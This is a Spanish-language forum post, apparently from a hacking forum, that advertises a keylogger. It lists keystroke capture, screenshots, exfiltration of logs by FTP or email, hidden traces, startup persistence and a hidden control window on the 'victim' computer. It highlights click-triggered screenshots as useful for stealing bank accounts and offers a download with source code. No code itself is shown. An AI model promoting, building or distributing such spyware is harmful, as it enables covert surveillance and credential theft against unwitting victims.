  • Captura las teclas minusculas como mayusculas , asi como numeros y las demas teclas
  • Captura el nombre de la ventana actual
  • Captura la pantalla
  • Logs ordenados en un archivo HTML
  • Se puede elegir el directorio en el que se guardan los Logs
  • Se envia los logs por FTP
  • Se oculta los rastros
  • Se carga cada vez que inicia Windows
  • Se puede usar shift+F9 para cargar los logs en la maquina infectada
  • Tambien hice un generador del keylogger que ademas permite ver los logs que estan en el servidor FTP que se usa para el keylogger

    Mejoras :

  • El keylogger oculto en la computadora de la victima tiene una ventana oculta con password para manejar o cambiar las opciones del keylogger aclaradas en el stub.
  • A peticiones de varios usuarios le agregue la opcion de poder capturar un screenshot cuando se detecte el click del mouse en una ventana especifica , esto es usado mucho para las cuentas de banco y no hay muchos keyloggers en ningun lenguaje que te regalen el codigo de esta forma.
  • Posibilidad de enviar los logs comodamente a tu cuenta de correo.
  • El stub pesa mucho menos que la version en Delphi

    Unas imagenes :







    Un video con ejemplo de uso :



    Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login con codigo incluido.
#160
C# - VB.NET / Re:[C#] Creacion de un Keylogger
Septiembre 10, 2014, 01:53:53 PM
Ok , en el proximo manual pongo el proyecto.